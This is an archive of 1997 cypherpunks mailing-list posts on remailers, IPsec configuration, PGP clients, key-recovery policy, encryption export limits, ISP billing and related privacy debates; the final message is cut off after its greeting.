From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:40:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internet Alert! Pay for local dial-up??
Message-ID: <199702081740.JAA00165@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail Communications wrote:

> See our "Patriotic Quotes That Make Sense"
> at the end of this publication.

> "We will always remember.  We will always be proud.  We will
> always be prepared, so we may always be free."
> -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

What Ronald Reagan didn't say (but what he really meant):

"I come here to Bitburg to honor the fallen Nazis, because I am in
fact an honorary Nazi myself. Just ask my personal secretary Helen,
who used to work for Fritz Kraemer."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Ioannidis <ji@hol.gr>
Date: Sat, 8 Feb 1997 07:25:49 -0800 (PST)
To: rodney@sabletech.com
Subject: Re: is there a FAQ
Message-ID: <199702081525.HAA18723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>   I am working on getting 3DES working (it's in the ipsec-0.4 code
> base, but no doc on how to configure it!) now and could use more
> documentation my self.

Use the setsa program provided in the utils directory. Something along
the lines of

	setsa esp 3des-md5 i key 
should do the trick. It was really a choice between distributing the code and 
lingering on it for a few more days until the docs were better, and I chose
the first. Bsides, the source *is* the ultimate documentation :-)

/ji





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111411.GAA19289@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Otto Matic wrote:
>> What else do I need for an internet server?
>> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
>> speed hard drives.  These are the Tall Towers that have multiple
>> drives, these are server towers.
>> I think I have a router Hub.  And a couple LAN cards.
>> That's all I have.  But I just got them, and I want to use them.  I assume I
>> will be using some kind of UNIX software.
>
>HP does some strange things to their BIOS software - you may want to
>get one of those net analyzer tools and some low-level software that
>can monitor what your HP's are sending and receiving, just in case.
>
>They don't normally use Vectras for UNIX, so what effects you can
>expect, I don't know.
>

Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
guessing.  What I really need is a B.O.M (bill of materials).  What other
'hardware' will I need to round up in order to get this server up and running.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Chou <jchou@cgl.ucsf.EDU>
Date: Tue, 11 Feb 1997 06:11:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702111411.GAA19343@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Meanwhile, a beta version of "Pretty Safe Mail"
><http://www.highware.com/highware/PSM/safemail.htm> is available from
>Highware in Belgium.  It's PGP compatible, and its user interface is a
>great leap forward from any Mac PGP front end I've seen.  But, it still
has
>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>discussed on a couple of these lists) its source code hasn't been
published
>or externally audited.

I've been testing Pretty Safe Mail on 68k and PPC platforms, and I
completely agree with you for the 68040 slowness.

But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign
the same document. Highware claims that a faster 68k is in the works.

They've offereed to have PSM externally audited, but I haven't heard of
any volunteers.

Joe




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Version: 2.6.2, by Pretty Safe Mail 1.0

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Rkkv3V23nts=
=MgGH
-----END PGP SIGNATURE-----

| Joe Chou  <jchou@cgl.ucsf.edu>
| http://devbio-mac1.ucsf.edu/joe.html
| Bargmann Lab, UCSF Department of Biochemistry
| PGP KeyID 0x8BB100FD: at web page or public key servers
| PGP Fingerprint [4194 EBC6 EEB0 7B1A  F18F 2185 D406 EDFF]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Sat, 8 Feb 1997 10:25:57 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: MODERATION
Message-ID: <199702081825.KAA00702@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

I'm ending my participation in the moderation of the list.  It 
would have been an interesting experiment if list members had 
been open minded enough to give it a good faith effort.  Instead,
those who weren't even willing to give another approach a try, 
set out to sabotage it and destroy any possibility of a meaningful 
test of the concept.  I see no reason to prolong the agony.

I've asked John to take me out of the loop as soon as possible.
If he can't get that done right away, I'll continue to moderate
in some capacity so that list members aren't cut off.  However,
I'm going to take a break today to help a friend move into her
apartment.  There won't be any messages forwarded for the next
24 hours or so.  Hopefully, John will have things switched over
by that then.  If not, I shove whatever is in the queue on down 
the line.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Sat, 8 Feb 1997 07:55:58 -0800 (PST)
To: Bill Stewart <bs-org@c2.net
Subject: Re: lead remailer is shut down
Message-ID: <199702081555.HAA20007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:42 1997-02-07 -0800, Bill Stewart wrote:
>Raph's remailer list is at
>   http://www.cs.berkeley.edu/~raph/remailer-list.html
>and indicates lots of different remailer features,
>including whether they accept or require PGP,
>and what reliability they've been getting recently.

Thanks, and it worked too...

>
>The remailer that was shut down was the remailer named "lead";
>you may have noticed that your reply went to a machine named "zinc".....
>
>At 11:56 PM 2/7/97 +0100, you wrote:
>>Can anybody give me the address of reliable remailer which accepts
>>pgp messages.
>>
>>BTW which remailer was shut down and why?
>>
>>
>>
>>
>>
>>
>>
>
>#			Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Neugent <wneugent@smiley.mitre.org>
Date: Tue, 11 Feb 1997 06:11:55 -0800 (PST)
To: willis@rand.org
Subject: Re: Encrypted filing of patents sans GAK?
Message-ID: <199702111411.GAA19378@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Willis,
My understanding is that Patty Edfors is overseeing *two* groups of pilots.
One group to experiment with PKIs in government agencies and another group
of ten, as David Aaron said, to "demonstrate the practicality" of key
recovery. The quotes are from my notes of Aaron's talk at the RSA Data
Security Conference. Aaron *did* mention as an example the "filing of
patent applications to the patent office" as an activity that is to explore
key recovery, but I know nothing of the specifics of that.

Also, my understanding is that the intent is definitely *not* to store
private keys used for signing. The GAO has issued a ruling that this is a
no-no. I agree with your judgment that doing so would compromise the
protection one expects from digital signatures. Besides, as one of the
speakers noted at the Conference last week, the evidentiary value of data
gained from wiretapping surely would lose some of its value if a third
party were holding private signature keys of the culprit being wiretapped.

Bill

 >--
>Folder: YES
>--
>Sir:
>
>I believe that the words have been misleading.  According to a briefing that
>I heard in December at a meeting of the Computer System Security and
>Advisory Board, Ms. Patty Efors of the Department of Treasury described a
>group of 10 pilot projects designed to test the efficacy and application of
>digital key signatures in government agencies.  I recall no mention of key
>recovery and in fact, I would assert that if the private keys used in
>digital-signature schemes are in the hands of a 3rd party, the protection
>expected from a digital signature will have been compromised.
>
>Presumably Ambassador Aaron and Ms. Edfors were talking about the same 10
>projects; and if so, then the Ambassador's presentation was confused.
>
>                                        Willis H. Ware
>                                        Santa Monica, CA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 8 Feb 1997 09:41:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702081741.JAA00193@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 8 Feb 1997, Jeremiah A Blatz wrote:

> Ummm, if you run your own remailer, and don't get lots of people to
> use it, then traffic analysis will reveal that you are the sender
> quite quickly. It will pretty much make everything in the chain before
> your remiler useless. If you send your message through remailers a, b,
> c, and d like this:
> 
> you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen
> 
> and only you use c, then your effective chain is:
> 
> someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This is assuming that it is a reasonable assumption that all traffic going
through remailer c originated from the owner.  If there is one non-corrupt
remailer in the chain before c, then this would not be a valid assumption
because traffic from the owner would be indistinguishable from traffic sent
by anyone else.  If the remailer has low traffic, the solution is, of course,
to make it higher traffic.  Chain a bunch of messages that get sent to
/dev/null through the remailers, being sure to include c somewhere in the
middle of the chain.  If Mixmaster is used, then it would be virtually
impossible to differentiate between "real" messages and messages destined for
/dev/null.  It would be a little easier with Type I since the size of the
ciphertext decreases after each hop.  This all assumes that encryption is being
used, of course.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:11:37 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: Enlightened commentary on Netizen.
Message-ID: <199702111411.GAA19315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 2/6/97 -0800, Anil Das wrote:
>First, Rebecca Vesely has a special report, the main thrust
>of which is that three firms being allowed to export 56 bit
>encryption indicates flexibility on the part of the
>government.
>http://www.netizen.com/netizen/97/05/special2a.html
>To top it off, here are two gems from the followup discussion.
>http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387
>
>2. 56 ONLY A SLIGHTLY SMALLER JOKE
>    Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST
>
>    If it takes a college student four hours to break
>    a 40bit code it should take him/her about six 
>    hours to do the same to 56bits. Then what excuses 
>    are the government and its butt-kissing companies 
>    going to give us for not allowing *real* coding?

Ironically, we (the good guys) are going to be the beneficiaries of an 
ignorant public, for a change!  We all know that difficulty is not linear 
with bit-size, but hearing that "40 bits is crackable in four hours!"  will 
be interpreted by non-technical people as a strong level of suspicion 
directed at DES as well.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 11 Feb 1997 06:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Humor in the oddest places...
Message-ID: <199702111411.GAA19265@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



The February issue of the _Pinky and the Brain_ comic, based on the
animated television show of two lab mice constantly foiled in their
plans to take over the world, has a main story entitled "Mission:
Unpinkable". Our heroes intercept a stray piece of microfilm and
accept the mission to steal Microstomp's "prototype Internet computer
control chip, the 1286 GAK", with Brain plotting to reprogram the
chip so that...

"When the program is introduced on the Internet, every connected CPU
across the globe will download ME! My personality matrix will soon
control every computer in the world!"

Naturally, the plan goes awry.

One wonders if the writers have been following the "key escrow" debate
here on Cpunks.

--
Explain to me, slowly and carefully, why if person A, when screwed over on a
deal by B, is morally obligated to consult, pay, and defer to, person C for
the purpose of seeing justice done, and why person C has any legitimate gripe
if A just hauls off and smacks B around like a dead carp. (Michael Schneider) 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:12:05 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
Message-ID: <199702111412.GAA19396@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> >Otto Matic wrote:
> >> What else do I need for an internet server?
> >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> >> speed hard drives.  These are the Tall Towers that have multiple
> >> drives, these are server towers.
> >> I think I have a router Hub.  And a couple LAN cards.
> >> That's all I have.  But I just got them, and I want to use them.  I assume I
> >> will be using some kind of UNIX software.

> >HP does some strange things to their BIOS software - you may want to
> >get one of those net analyzer tools and some low-level software that
> >can monitor what your HP's are sending and receiving, just in case.
> >They don't normally use Vectras for UNIX, so what effects you can
> >expect, I don't know.

> Dale, Thanks for your reply.  Really I'm not sure about UNIX, I was just
> guessing.  What I really need is a B.O.M (bill of materials).  What other
> 'hardware' will I need to round up in order to get this server up and running.

Some of the guys in the HP user group have UNIX running on Vectras,
but they also use a full raft of hardware tools, which I don't have
access to.  There's an actual HP-48 calculator, complete in every way
including appearance, running on that version of UNIX.  Don't remember
the name, but it comes on a few CD's, and costs around $50.

To me, 486 and 50 mhz suggest something HP is getting far removed from,
so don't expect much help there.  Few if any computer outlets will be
able to handle the HP peculiarities.  You shouldn't have any trouble
getting the general parts list off the internet here and there, and
there used to be HP forums to provide off-line support on Vectra
hardware, but it might be harder with older equipment.

Suggestion: Call HP Palo Alto at 415-857-1501, and tell them you need
to talk to someone who knows internet domain names for info on Vectras
and the like.  Don't let them slough you off - if they don't have the
info, make them give you another name and number.  If you get a
runaround after several calls, let me know who you talked to, on
what phone #'s, at what time, and I'll give it a shot myself.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:12:18 -0800 (PST)
Subject: Re: ISPs vs Bells - Email FCC
Message-ID: <199702111412.GAA19446@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 AM 2/7/97 -0500, Derrick Storren wrote:
>By Michelle V. Rafter 
>LOS ANGELES - Regional phone companies and Internet service providers
>are waging a war of words over Internet traffic on the nation's local
>telephone network and who should pay for upgrades as the online boom
>continues. 
[snip]
>In one corner, Pacific Bell, Bell Atlantic and other regional phone
>carriers say the growth of Internet traffic is pushing local telephone
>networks to the breaking point. 
>
>Pacific Bell, for example, says Internet surfers use its phone lines an
>average of 45 minutes a day -- more than twice the amount the network
>was built to handle. Heavy Internet use in Silicon Valley led to brief
>service outages in that area earlier this year, the company said. 

This is an "excellent" example of lying with statistics.  Contrary to the 
implication above, telephone switches aren't designed to handle a certain 
amount of telephone traffic per day; Rather, they are designed to handle a 
certain peak amount of traffic.  This, and the knowledge about the typical 
usage patterns that communities generally see in their telephones allows a 
statistician to estimate how much traffic that switch will actually see per 
day, in the real world.

However, change the pattern of usage, perhaps by adding usage to 
previously-underused time periods, and you could dramatically increase the 
daily traffic statistics for a given telephone switch.  If, say, 2% of the 
population were to suddenly decide to make 6-hour phone calls daily between 
12 midnight and 6am, a time of very low usage, you might increase the 
average daily usage by 50%, but with absolutely no increase in the peak 
usage during the daytime hours nor need for new switches.

While that's a fanciful example, a similar effect occurs, I think.  I've 
seen a set of graphs showing the typical usage level for the Teleport ISP, 
and it appears that while usage reaches a level of about 70% between about 8 
am and 4 PM, it continues to increase after 4pm, solidly peaking between 8 
pm and 11 pm at about 98% usage.  This is long past the time that most 
humans make voice phone calls.  The implication is that easily 3/5 of 
Teleport's traffic occurs after 4 pm and 6 am next morning, a time frame 
which is definitely post-peak hours.   (Traditionally, pre-Internet, 
telephone usages peaks at about 11 am and 3 pm.)

Since modern telephone switches don't wear out, unused call capacity is 
simply wasted.  It makes no sense to charge people more for services which 
cost the supplier no more to provide.


>If, for example, Internet providers passed through an access fee of 1
>cent a minute, a subscriber spending 10 hours online a month would pay
>an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
>Forrester Research in Cambridge, Mass. 

Even that is unacceptable.  If an average ISP's phone line was busy 50% of 
the time, with "only" an extra charge of 1 cent per minute, that would be an 
average charge of $7.20 per day, or $216 per month, as compared to a typical 
business line which might cost, say, $40 per month.  


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Copyright and the Net
Message-ID: <199702111412.GAA19465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu"  8-FEB-1997 23:44:12.64
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Copyright and the Net: Is Legislation the Answer?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Tue, 4 Feb 1997 22:03:10 -0500
From: Dave Banisar <banisar@EPIC.ORG>
Subject: Panel - Copyright and the Net: Is Legislation the Answer?

         Copyright and the Net: Is Legislation the Answer?

                ACM97: The Next 50 Years of Computing
                  Sunday March 2   2:00 PM - 5:00 PM
                   Fairmont Hotel     San Jose, CA

      Sponsored by the U.S. Public Policy Committee of ACM (USACM)


Panelists: Hank Barry, Pam Samuelson, Mark Stefik, Gio Wiederhold
Moderator: Barbara Simons, Chair, USACM


  o What is the role of copyright in all-electronic publication world?
  Will it be replaced by contract law?

  o Can the needs of authors who want to publish for renown (academics) and
  authors that want to publish for pay (entertainment etc) be handled in one
  mechanism?

  o Should browsing on the World Wide Web of full copyrighted texts be made
  illegal because people make temporary copies in their computer's memory
  when they look at a web page?

  o Should online service providers, including libraries and universities,
  have to monitor user accounts in order to enforce copyright laws?

  o Should firms that compile data have intellectual property rights so
  that scientists and news reporters can't use the data without permission
  or payments?

  o How should existing differences in national copyright be handled in a
  networked world where national boundaries and are little more than a
  speedbump on the information superhighway?

  o Does technological protection for copyrighted works inherently undermine
  fair use ?


These and related issues will confront the 105th Congress in the coming year.
They will also be examined by this panel, which will discuss controversies
surrounding the extension of copyright law to deal with cyberspace.
Examples include: How does proposed legislation reflect the net?
How much influence have lobbyists for the entertainment industry had
in writing legislation?  What should be the role of professional
societies in analyzing policy initiatives?

We will discussed legislation and international treaties that
have been proposed by the White House.  We will also examine both
technical and legal approaches to problems created by the net,
as well as how various approaches might impact the
science, technology, and business communities.

A significant amount of time will be allowed for audience
interaction in the discussion.



              Biographical sketches


Hank Barry is member of the firm of Wilson Sonsini Goodrich & Rosati
and is Chairman of the firm's Interactive New Media practice group.
He represents publicly and privately-held companies in the multimedia,
software, computer, on-line and entertainment industries.  Hank has authored
numerous articles in the fields of venture capital, interactive
media and technology transactions. He currently serves on the
Editorial Board of the Cyberspace Lawyer.
Hank received his law degree in 1983 from Stanford University,
where he was managing editor of the Stanford Law Review.


Pamela Samuelson is a Professor at the University of California at Berkeley
where she holds a joint appointment at the School of Information Management
and Systems and in the School of Law.  She has written and spoken
extensively on the challenges posed by digital technologies for the law,
particularly in the field of intellectual property.  She is a Contributing
Editor of Communications of the ACM and a Fellow of the Electronic Frontier
Foundation.


Mark Stefik is a principal scientist at the Xerox Palo Alto Research
Center.  At Stanford University he received a Bachelor of Science degree in
mathematics in 1970 and a Ph.D. in computer science in 1980.  His current
research activities are in approaches for creating, protecting, and reusing
digital property.  Stefik is review editor for the international
journal "Artificial Intelligence" and has authored two books on
AI-related topics and a third book on the Internet.


Gio Wiederhold is a professor of Computer Science at Stanford
University, with courtesy appointments in Medicine and Electrical
Engineering.  His research focuses on large-scale software construction,
specifically applied to information systems, the protection
of their content, often using knowledge-based techniques.
Wiederhold has authored and coauthored more than 250 published papers
and reports on computing and medicine.  Wiederhold received a degree
in Aeronautical Engineering in Holland in 1957 and a Ph. D. in Medical
Information Science from the University of California at San Francisco
in 1976.  He has been elected fellow of the ACMI, the IEEE and the
ACM.  He currently serves on the ACM Publications Board,
focusing on the move to electronic publication.


Barbara Simons received her Ph.D. in Computer Science from U.C. Berkeley
in 1981.  She joined the Research Division of IBM in 1980;
she is currently working in IBM Global Services.
Simons is a Fellow of both the American Association for the Advancement
of Science (AAAS) and ACM.  In 1995 she was selected as one of 26 Internet
"Visionaries" by c|net, and in 1994 Open Computing included her in its list
of the top 100 women in computing.  She was awarded the 1992 CPSR Norbert
Wiener Award for Professional and Social Responsibility in Computing.
Simons founded and chairs USACM, the ACM U. S. Public Policy Committee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:12:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111412.GAA19450@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	In reply to Dr. Agre's comment, I'd point out that one
normally has more than one insurance company to choose from...
not the case with governmentally-imposed road taxes.
	-Allen

From:	IN%"rre@weber.ucsd.edu"  9-FEB-1997 02:12:23.32
To:	IN%"rre@weber.ucsd.edu"
CC:	
Subj:	Proposed satellite monitoring of car movements in Sweden

[If it wasn't taxes, it would be insurance.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Thu, 6 Feb 1997 19:04:07 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.81

RISKS-LIST: Risks-Forum Digest  Thursday 6 February 1997  Volume 18 : Issue 81

----------------------------------------------------------------------

Date: Wed, 29 Jan 1997 20:39:29 +0100 (MET)
From: Feliks Kluzniak <feliks@carlstedt.se>
Subject: Proposed satellite monitoring of car movements in Sweden

The new issue of "Dagens IT", no. 3, dated 28 Jan - 3 Feb 1997 (a Swedish
paper aimed at information technology professionals), contains an item that
might be of some interest to those RISKS readers who followed discussions
about automatic highway toll booths in the US and related subjects.

My (probably imperfect) translation follows.
   
  Car users will be be put in "feetcuffs"
  (written by Margaretha Sundstroem)
      
With the help of a new satellite system car users might pay different taxes,
depending on when and where they drive.  This is what the State
communications commission is said to be discussing.
      
According to (the newspaper) "Dagens Politik", the State communications
commission is discussing a proposal to use satellites for determining car
taxes in the future.  It is proposed that all of Sweden's 3.5 million cars
should be equipped with a little reader fastened to the instrument board.
Car users would then buy cards that can be inserted into the reader.  The
card would communicate with a satellite that would register where you drive
and for how long.  The car tax would then be withdrawn from the card.
      
The proposal has been put forward by the State institution for communication
analysis.  They estimate that just the Stockholm (tax) authorities would be
able to earn six billion crowns by using this system.
      
The costs for car users would thereby increase.

 - - - - 

The reference to "feetcuffs" (by analogy to "handcuffs" - ankle
shackles?)  is an allusion to radio transmitters that are irremovably
fastened to the ankles of some criminals in this country so that the
authorities can monitor their compliance with the rules of house arrest.

The word "communication" is meant to include car traffic etc.  The word
"billion" is given in its US meaning: a thousand million.

The risks?  Apart from the risks of having very complex systems
automatically determine how much you have to pay, there are the usual
privacy considerations. Some cry out "big brother".  Others say you are
already in this situation if you carry a cellular phone.

Feliks Kluzniak,  Carlstedt Research & Technology, Gothenburg

------------------------------

End of RISKS-FORUM Digest 18.81 
************************

Standard Risks reuse notice:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Tue, 11 Feb 1997 06:11:49 -0800 (PST)
To: coderpunks@toad.com
Subject: E-cash and distributed computing...
Message-ID: <199702111411.GAA19363@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is probably not an original idea, but...

Here's a potential use for E-cash: a server that doles out Java 
apps to clients; the clients run the apps, calculating whatever 
results are needed, and uploads the results in return for E-cash
(perhaps a zero-knowledge proof that the result is accurate? another 
is to use only a trusted pool of registered and accountable users rather
than anonymous clients).

The server admins would be paid by those who need computations,
keeping a percentage and using the rest to be offered as E-cash to 
clients with spare computing power.

A lot of possibilities here... a configuration where a set price is 
offered for a computation (the user can check for the highest offer 
on a server, or refuse an offer below a certain amount).

Or maybe applets would only be doled out to systems that meet a 
certain criteria (minimum computing power).

A more complex system where 'bids' are placed based on computing 
power is possible too (those w/better systems would want more cash, 
or be willing to pay it).

Problem: open to forms of 'abuse' (imagine a sysadmin making 
E-cash using his employer's machines overnight).

It might make an interesting experimental project to work on.

--Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:27:23 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702111427.GAA19997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 2/5/97 -0800, Sean Roach wrote:
>This time I have opted for a point by point.
>At 07:59 PM 2/5/97 -0800, jim bell wrote:

>>1.  Large numbers of potentially competent and useful people get put into 
>>useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
>>(Those people who still think military spending is really necessary 
>>obviously haven't read AP.)
>This point I can not argue with, at least not directly.  I do believe that
>the military way is wasteful of resources.

Notice, however, that "pre-AP-theory," there was never any "good" way to 
theorize getting rid of the military:  It always appeared that OUR military 
was needed to protect us against THEIR military.  AP fixes that problem.


> However, this is one area that
>has actually benefitted the lower-income bracket in that it gives them
>"inexpensive" (off-chance of death) access to good training.

"War is good business...Invest your son!"

There's no doubt that militaries look like a good deal to at least some 
fraction of the population.  However, as is usually true, the amount of 
money that could be saved if we didn't have to buy military junk would do 
just as well applied to other products or services.


>>2.  Large amounts of money are spent on military hardware, money which goes 
>>to fund  people who would otherwise develop useful products in the 
>>non-government private sector.
>Three things that promote technological growth, expansion, war, threat of war.
>As for expansion. we really have no where else to go.  As for war and threat
>of war, the computer was invented during a war, atomic energy was harnessed
>during war, the internet was created during threat of war.  Many
>advancements, though not all, come to benefit society later.  For that
>matter, steel was probably invented during a war as well, but I can't prove 
it.

I think that's a somewhat distorted way to look at it.  War drastically 
changes the economics associated with technical developments:  In WWII, 
millions of dollars became available for development of computers due to 
their ability to decrypt codes.  It is by no means surprising that suddenly 
making it 10x more affordable to buy computers (not by reducing their costs, 
but by raising the amount of money provided) would make computers appear to 
be the product of war.  

You may recall estimates (which are frequently re-quoted, BTW)that proposed 
that there would only be a market for (say) 5-10 computers in the world.  
That estimate is frequently cited as an example of how wrong they were, but 
in reality that estimate assumed pricing based on then-current costs, and 
they were probably accurate!  It is the _subsequent_ development of 
transistors which made those original estimates "wrong."


Nuclear power, similarly, was born in a flood of money for the same war.  
Expensive government installations, such as Los Alamos, NM, Hanford 
Washington, and Oak Ridge Tennessee were built for that purpose. Activities 
which would have been highly uneconomical during peacetime were suddenly 
worth doing.

If war makes technical development happen, it is only because of how 
supremely wasteful it is.  Useful things still get done, but they get done 
in a highly uneconomical fashion and _before_ they would normally be done in 
a non-war world.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Tue, 11 Feb 1997 06:12:00 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: question on setting up for ipsec/linux
Message-ID: <199702111412.GAA19386@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have 0.4 compiled and loaded on my 2.0.27 system.

I have configured an FTP Software client appropriately for treating the
Linux box as a tunnel for a far-end destination machine.   I try doing a
ping of the far machine.  The FTP client sends a packet to the Linux box.
Lan tracing and the printfs on the master console of the Linux box seem to
indicate that the packet really did go to the linux box.  However, what
happens is:

- the Linux box sends a "protocol unreachable" back to the FTP client.
- the printf's on the console (a line starting with "ipsec_esp" new ip
packet" shows the incoming PING packet

Now I run AH (MD5) and ESP (DES) and the fact I see a fully decrypted PING
packet on the Linux console is quite promising because that seems to prove
I got the SPI's and keys and such configured correctly.

I have checked the documentation that came with the release and the one
thing I did not see was the message "ipsec_tunnel: tunnel: version v0.2b2".

I suspect I have managed to NOT configure some tunnel thing and the IPSEC
code itself is working properly.  I suspect I have somehow misconfigured it
such that, after the nice pretty IP packet is unwrapped from the ISPEC
headers, it is not properly injected into the protocol stack properly.

I'd be happy to read the source code to work on this but I'm not sure where
to start looking.  The missing message comes from ipsec_tunnel.c  I know
from tests sending it invalid SPI values that I really am executing parts
of that file.




               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Tue, 11 Feb 1997 06:11:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Passphrase generation
Message-ID: <199702111411.GAA19350@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,
